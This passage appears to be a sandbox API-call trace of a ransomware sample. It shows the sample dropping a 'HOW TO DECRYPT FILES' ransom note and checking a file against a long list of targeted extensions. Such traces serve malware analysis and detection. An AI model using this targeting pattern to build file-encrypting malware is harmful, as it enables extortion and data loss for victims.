(lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\749743a7b937b6439a5437f92e66e614\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0110.875] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0110.907] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0110.908] CloseHandle (hObject=0x90) returned 1 [0110.908] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll" [0110.908] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.ems") returned 0 [0110.908] lstrlenA (lpString="*.ems") returned 5 [0110.908] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.db") returned 0 [0110.908] lstrlenA (lpString="*.db") returned 4 [0110.908] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.dbf") returned 0 [0110.908] lstrlenA (lpString="*.dbf") returned 5 [0110.908] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.myox") returned 0 [0110.908] lstrlenA (lpString="*.myox") returned 6 [0110.908] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.myo") returned 0 [0110.908] lstrlenA (lpString="*.myo") returned 5 [0110.908] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.qbw") returned 0 [0110.909] lstrlenA (lpString="*.qbw") returned 5 [0110.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.qbb") returned 0 [0110.909] lstrlenA (lpString="*.qbb") returned 5 [0110.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.qbm") returned 0 [0110.909] lstrlenA (lpString="*.qbm") returned 5 [0110.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.qbo") returned 0 [0110.909] lstrlenA (lpString="*.qbo") returned 5 [0110.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.qbx") returned 0 [0110.909] lstrlenA (lpString="*.qbx") returned 5 [0110.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.qba") returned 0 [0110.909] lstrlenA (lpString="*.qba") returned 5 [0110.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.qby") returned 0 [0110.909] lstrlenA (lpString="*.qby") returned 5 [0110.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.qbj") returned 0 [0110.909] lstrlenA (lpString="*.qbj") returned 5 [0110.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.ofx") returned 0 [0110.909] lstrlenA (lpString="*.ofx") returned 5 [0110.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.qif") returned 0 [0110.909] lstrlenA (lpString="*.qif") returned 5 [0110.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.mye") returned 0 [0110.909] lstrlenA (lpString="*.mye") returned 5 [0110.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.mbox") returned 0 [0110.910] lstrlenA (lpString="*.mbox") returned 6 [0110.910] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0110.910] lstrlenA (lpString="*.eml") returned 5 [0110.910] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.pst") returned 0 [0110.910] lstrlenA (lpString="*.pst") returned 5 [0110.910] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.ost") returned 0 [0110.910] lstrlenA (lpString="*.ost") returned 5 [0110.910] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.idx") returned 0 [0110.910] lstrlenA (lpString="*.idx") returned 5 [0110.910] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.dbx") returned 0 [0110.910] lstrlenA (lpString="*.dbx") returned 5 [0110.910] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.sql") returned 0 [0110.910] lstrlenA (lpString="*.sql") returned 5 [0110.910] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.mdb") returned 0 [0110.910] lstrlenA (lpString="*.mdb") returned 5 [0110.911] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.fdb") returned 0 [0110.911] lstrlenA (lpString="*.fdb") returned 5 [0110.911] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.wab") returned 0 [0110.911] lstrlenA (lpString="*.wab") returned 5 [0110.911] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.dat") returned 0 [0110.911] lstrlenA (lpString="*.dat") returned 5 [0110.911] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.txt") returned 0 [0110.911] lstrlenA (lpString="*.txt") returned 5 [0110.911] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.jpeg") returned 0 [0110.911] lstrlenA (lpString="*.jpeg") returned 6 [0110.911] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.jpg") returned 0 [0110.911] lstrlenA (lpString="*.jpg") returned 5 [0110.911] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.png") returned 0 [0110.911] lstrlenA (lpString="*.png") returned 5 [0110.911] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.php") returned 0 [0110.912] lstrlenA (lpString="*.php") returned 5 [0110.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.cs") returned 0 [0110.912] lstrlenA (lpString="*.cs") returned 4 [0110.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.cpp") returned 0 [0110.912] lstrlenA (lpString="*.cpp") returned 5 [0110.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.rar") returned 0 [0110.912] lstrlenA (lpString="*.rar") returned 5 [0110.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.zip") returned 0 [0110.912] lstrlenA (lpString="*.zip") returned 5 [0110.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.html") returned 0 [0110.912] lstrlenA (lpString="*.html") returned 6 [0110.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.htm") returned 0 [0110.912] lstrlenA (lpString="*.htm") returned 5 [0110.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.xlsx") returned 0 [0110.912] lstrlenA (lpString="*.xlsx") returned 6 [0110.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.xls") returned 0 [0110.913] lstrlenA (lpString="*.xls") returned 5 [0110.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.mp4") returned 0 [0110.913] lstrlenA (lpString="*.mp4") returned 5 [0110.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.ppt") returned 0 [0110.913] lstrlenA (lpString="*.ppt") returned 5 [0110.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.pptx") returned 0 [0110.913] lstrlenA (lpString="*.pptx") returned 6 [0110.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.doc") returned 0 [0110.914] lstrlenA (lpString="*.doc") returned 5 [0110.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.dot") returned 0 [0110.914] lstrlenA (lpString="*.dot") returned 5 [0110.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.docx") returned 0 [0110.914] lstrlenA (lpString="*.docx") returned 6 [0110.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.7z") returned 0 [0110.914] lstrlenA (lpString="*.7z") returned 4 [0110.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.tar") returned 0 [0110.914] lstrlenA (lpString="*.tar") returned 5 [0110.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.bz2") returned 0 [0110.914] lstrlenA (lpString="*.bz2") returned 5 [0110.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.gz") returned 0 [0110.914] lstrlenA (lpString="*.gz") returned 4 [0110.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.mkv") returned 0 [0110.915] lstrlenA (lpString="*.mkv") returned 5 [0110.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0110.915] lstrlenA (lpString="*.eml") returned 5 [0110.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.msg") returned 0 [0110.915] lstrlenA (lpString="*.msg") returned 5 [0110.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.edb") returned 0 [0110.915] lstrlenA (lpString="*.edb") returned 5 [0110.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.accdb") returned 0 [0110.915] lstrlenA (lpString="*.accdb") returned 7 [0110.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.odb") returned 0 [0110.915] lstrlenA (lpString="*.odb") returned 5 [0110.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.java") returned 0 [0110.915] lstrlenA (lpString="*.java") returned 6 [0110.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.asm") returned 0 [0110.915] lstrlenA (lpString="*.asm") returned 5 [0110.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.pfx") returned 0 [0110.916] lstrlenA (lpString="*.pfx") returned 5 [0110.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.pem") returned 0 [0110.916] lstrlenA (lpString="*.pem") returned 5 [0110.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.p12") returned 0 [0110.916] lstrlenA (lpString="*.p12") returned 5 [0110.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.gpg") returned 0 [0110.916] lstrlenA (lpString="*.gpg") returned 5 [0110.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.vsd") returned 0 [0110.916] lstrlenA (lpString="*.vsd") returned 5 [0110.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.odg") returned 0 [0110.916] lstrlenA (lpString="*.odg") returned 5 [0110.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.raw") returned 0 [0110.916] lstrlenA (lpString="*.raw") returned 5 [0110.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.nef") returned 0 [0110.917] lstrlenA (lpString="*.nef") returned 5 [0110.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.svg") returned 0 [0110.917] lstrlenA (lpString="*.svg") returned 5 [0110.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.psd") returned 0 [0110.917] lstrlenA (lpString="*.psd") returned 5 [0110.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.vmx") returned 0 [0110.917] lstrlenA (lpString="*.vmx") returned 5 [0110.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.vmdk") returned 0 [0110.917] lstrlenA (lpString="*.vmdk") returned 6 [0110.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.vdi") returned 0 [0110.917] lstrlenA (lpString="*.vdi") returned 5 [0110.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.lay6") returned 0 [0110.917] lstrlenA (lpString="*.lay6") returned 6 [0110.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.mpeg") returned 0 [0110.917] lstrlenA (lpString="*.mpeg") returned 6 [0110.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.djvu") returned 0 [0110.917] lstrlenA (lpString="*.djvu") returned 6 [0110.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.tiff") returned 0 [0110.918] lstrlenA (lpString="*.tiff") returned 6 [0110.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.backup") returned 0 [0110.918] lstrlenA (lpString="*.backup") returned 8 [0110.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.pdf") returned 0 [0110.918] lstrlenA (lpString="*.pdf") returned 5 [0110.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.cert") returned 0 [0110.918] lstrlenA (lpString="*.cert") returned 6 [0110.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.docm") returned 0 [0110.918] lstrlenA (lpString="*.docm") returned 6 [0110.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.xlsm") returned 0 [0110.918] lstrlenA (lpString="*.xlsm") returned 6 [0110.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.dwg") returned 0 [0110.918] lstrlenA (lpString="*.dwg") returned 5 [0110.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.nd") returned 0 [0110.918] lstrlenA (lpString="*.nd") returned 4 [0110.918] PathMatchSpecA 